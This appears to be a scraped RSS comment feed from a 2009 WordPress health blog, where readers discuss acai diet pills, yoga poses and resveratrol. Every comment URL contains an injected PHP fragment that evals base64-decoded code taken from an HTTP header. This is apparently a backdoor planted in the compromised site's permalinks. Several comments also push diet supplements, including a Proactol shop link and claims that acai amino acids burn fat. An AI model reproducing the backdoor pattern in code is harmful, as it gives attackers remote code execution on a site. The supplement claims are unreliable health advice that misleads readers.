Comments for Health & Fitness http://crazyridiculoushealth.info crazyridiculous.com Sat, 11 Apr 2009 05:27:12 -0500 http://wordpress.org/?v=2.8.1 hourly 1 Comment on HOW LONG BEING ON THE ACAI BERRY DIET PILL DO YOU START SEEING RESULTS? by Michael http://crazyridiculoushealth.info/2009/03/30/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-53 Michael Sat, 11 Apr 2009 05:27:12 +0000 http://crazyridiculoushealth.info/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/#comment-53 Generally speaking it can be 2 weeks. I would make sure that you are also doing some walking each day to help it along. Wait and see you will start loosing weight all of a sudden. Generally speaking it can be 2 weeks. I would make sure that you are also doing some walking each day to help it along. Wait and see you will start loosing weight all of a sudden.

]]> Comment on HOW LONG BEING ON THE ACAI BERRY DIET PILL DO YOU START SEEING RESULTS? by Debby http://crazyridiculoushealth.info/2009/03/30/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-52 Debby Thu, 09 Apr 2009 06:28:40 +0000 http://crazyridiculoushealth.info/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/#comment-52 I have been reading up on the acai berry myself. The acai berry's natural combination of antioxidants, essential fatty acids, phytosterols, and amino acids work together to assit your body and make it function better. Your body will process food more easily and burn fat more efficiently. The acai berry has around twenty times the antioxidants of red grapes. It is a wonderful protein, and has a large amount of dietary fiber. The fats contained in the acai berry are healthy omega fats. The acai berry is loaded with amino acids, which muscles need to function properly and benefit from exercise. These amino acids combined with fatty acids allow the body to burn fat more effectively and help tone your muscles. I have found the following informational site very informative -. I have been reading up on the acai berry myself. The acai berry’s natural combination of antioxidants, essential fatty acids, phytosterols, and amino acids work together to assit your body and make it function better. Your body will process food more easily and burn fat more efficiently.
The acai berry has around twenty times the antioxidants of red grapes. It is a wonderful protein, and has a large amount of dietary fiber. The fats contained in the acai berry are healthy omega fats.
The acai berry is loaded with amino acids, which muscles need to function properly and benefit from exercise. These amino acids combined with fatty acids allow the body to burn fat more effectively and help tone your muscles.

I have found the following informational site very informative -.

]]> Comment on HOW LONG BEING ON THE ACAI BERRY DIET PILL DO YOU START SEEING RESULTS? by Jance http://crazyridiculoushealth.info/2009/03/30/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-51 Jance Thu, 09 Apr 2009 01:13:05 +0000 http://crazyridiculoushealth.info/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/#comment-51 I have been through it all and know what's it about. The main thing is to stick in there. You can't be an addict to food and never exercise if you want to live a healthy life and keep the weight off. I've worked out, done every diet, and all types of classes. Nothing works, besides dedication and intelligence towards the subject of losing weight. First, depending on how much weight you need to lose, your diet is the first concern. You can't eat 10,000 calories a day and expect the weight to come off, even if you are exercising a lot. Which brings us to the next thing. Duh, Exercising... This is a must especially if you need to a lot of weight. Get at least 30 mins of some good ******** exercising. Do some cardio, in the long run, it's good for the heart. However, I find the most hardest part of losing weight/keeping it off, in my diet. It's so hard to keep your fingers out of the cookie jar or those chocolate goodies. I've found a great addition to help any one out, it's a natural weight loss supplement called Proactol. Now don't get all crazy on me and say diet pills don't work. That is true, but not in this case. This one isn't meant to burn pounds while you sit on the couch. It's an appetite suppressant, along with being a fat binder. I saved money on the pills at theweightlossplace.com along with getting some good info. It basically makes those fingers not go towards the cookie jar. For me it's the best pill I've tried and I've tried cupboards full. Now this doesn't mean you have to follow my foot steps but I've successfully lost roughly 70 pounds and keeping it off til this day. Well good luck and remember what I said, Dedicate. I have been through it all and know what’s it about. The main thing is to stick in there. You can’t be an addict to food and never exercise if you want to live a healthy life and keep the weight off. I’ve worked out, done every diet, and all types of classes.

Nothing works, besides dedication and intelligence towards the subject of losing weight.

First, depending on how much weight you need to lose, your diet is the first concern. You can’t eat 10,000 calories a day and expect the weight to come off, even if you are exercising a lot. Which brings us to the next thing. Duh, Exercising…

This is a must especially if you need to a lot of weight. Get at least 30 mins of some good ******** exercising. Do some cardio, in the long run, it’s good for the heart.

However, I find the most hardest part of losing weight/keeping it off, in my diet. It’s so hard to keep your fingers out of the cookie jar or those chocolate goodies. I’ve found a great addition to help any one out, it’s a natural weight loss supplement called Proactol. Now don’t get all crazy on me and say diet pills don’t work. That is true, but not in this case. This one isn’t meant to burn pounds while you sit on the couch. It’s an appetite suppressant, along with being a fat binder. I saved money on the pills at theweightlossplace.com along with getting some good info. It basically makes those fingers not go towards the cookie jar. For me it’s the best pill I’ve tried and I’ve tried cupboards full. Now this doesn’t mean you have to follow my foot steps but I’ve successfully lost roughly 70 pounds and keeping it off til this day.

Well good luck and remember what I said, Dedicate.

]]> Comment on HOW LONG BEING ON THE ACAI BERRY DIET PILL DO YOU START SEEING RESULTS? by Me Want Cookie! http://crazyridiculoushealth.info/2009/03/30/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-50 Me Want Cookie! Tue, 07 Apr 2009 04:03:17 +0000 http://crazyridiculoushealth.info/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/#comment-50 um taking those pills isnt going to help you. eat less calories, eat healthy food and workout um taking those pills isnt going to help you.
eat less calories, eat healthy food and workout

]]> Comment on HOW LONG BEING ON THE ACAI BERRY DIET PILL DO YOU START SEEING RESULTS? by imapokerface http://crazyridiculoushealth.info/2009/03/30/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-49 imapokerface Sat, 04 Apr 2009 08:48:44 +0000 http://crazyridiculoushealth.info/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/#comment-49 Works good. Works good.

]]> Comment on HOW LONG BEING ON THE ACAI BERRY DIET PILL DO YOU START SEEING RESULTS? by petronila http://crazyridiculoushealth.info/2009/03/30/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-48 petronila Tue, 31 Mar 2009 23:45:45 +0000 http://crazyridiculoushealth.info/how-long-being-on-the-acai-berry-diet-pill-do-you-start-seeing-results/#comment-48 If you are really looking to lose weight, Acai probably isn't enough just by itself. It's a very healthy food, high in vitamins and anti-oxidants, but those won't really result in weight loss. I suggest doing what this mom did and combining the Acai diet with a cleansing program. If you are really looking to lose weight, Acai probably isn’t enough just by itself.

It’s a very healthy food, high in vitamins and anti-oxidants, but those won’t really result in weight loss.

I suggest doing what this mom did and combining the Acai diet with a cleansing program.

]]> Comment on WHAT IS THE BEST FORM OF YOGA FOR STRESS RELIEF & AND MEDITATION? by yogalexa http://crazyridiculoushealth.info/2008/12/25/what-is-the-best-form-of-yoga-for-stress-relief-and-meditation/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-2 yogalexa Mon, 29 Dec 2008 02:01:40 +0000 http://crazyridiculoushealth.info/what-is-the-best-form-of-yoga-for-stress-relief-and-meditation/#comment-2 They are all good depending on how your body is feeling at the time, but for what you are asking I believe the best is "Restorative" yoga. If you can find a yoga studio that offers it, you will feel so relaxed afterwards. They are all good depending on how your body is feeling at the time, but for what you are asking I believe the best is “Restorative” yoga. If you can find a yoga studio that offers it, you will feel so relaxed afterwards.

]]> Comment on YOGA POSES FOR UPPER BODY? by eatyourtofu http://crazyridiculoushealth.info/2008/11/15/yoga-poses-for-upper-body/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-18 eatyourtofu Tue, 18 Nov 2008 02:40:06 +0000 http://crazyridiculoushealth.info/yoga-poses-for-upper-body/#comment-18 Go to This shows you a list of poses, just click on one and there is a photo with step-by-step instructions. The poses I recommend for upper body strength are the following (which are on the list) Plank Pose Downward Facing Dog Four Limbed Staff Pose Full Boat Pose Scale Pose Upward Bow Pose Upward Facing Dog Warrior I and Warrior II Good luck and namaste! Go to

This shows you a list of poses, just click on one and there is a photo with step-by-step instructions.

The poses I recommend for upper body strength are the following (which are on the list)

Plank Pose
Downward Facing Dog
Four Limbed Staff Pose
Full Boat Pose
Scale Pose
Upward Bow Pose
Upward Facing Dog
Warrior I and Warrior II

Good luck and namaste!

]]> Comment on YOGA POSES FOR UPPER BODY? by lukit http://crazyridiculoushealth.info/2008/11/15/yoga-poses-for-upper-body/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-17 lukit Mon, 17 Nov 2008 01:02:30 +0000 http://crazyridiculoushealth.info/yoga-poses-for-upper-body/#comment-17 not really i don't think....my body don't have need 'THE YOGAAAAA'....so is a stupid,,,i thinkkkkkkk... not really i don’t think….my body don’t have need ‘THE YOGAAAAA’….so is a stupid,,,i thinkkkkkkk…

]]> Comment on WHAT KIND OF RESVERATROL GIVES YOU THE BEST EFFECT? by Prism Eyes http://crazyridiculoushealth.info/2008/11/02/what-kind-of-resveratrol-gives-you-the-best-effect/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-64 Prism Eyes Sat, 08 Nov 2008 14:34:53 +0000 http://crazyridiculoushealth.info/what-kind-of-resveratrol-gives-you-the-best-effect/#comment-64 Resveratrol doesn't come in "kinds". Just different products with resveratrol within it do. Yes, it can be combined with any other health-benefit or anti-aging supplement. Resveratrol doesn’t come in “kinds”. Just different products with resveratrol within it do. Yes, it can be combined with any other health-benefit or anti-aging supplement.

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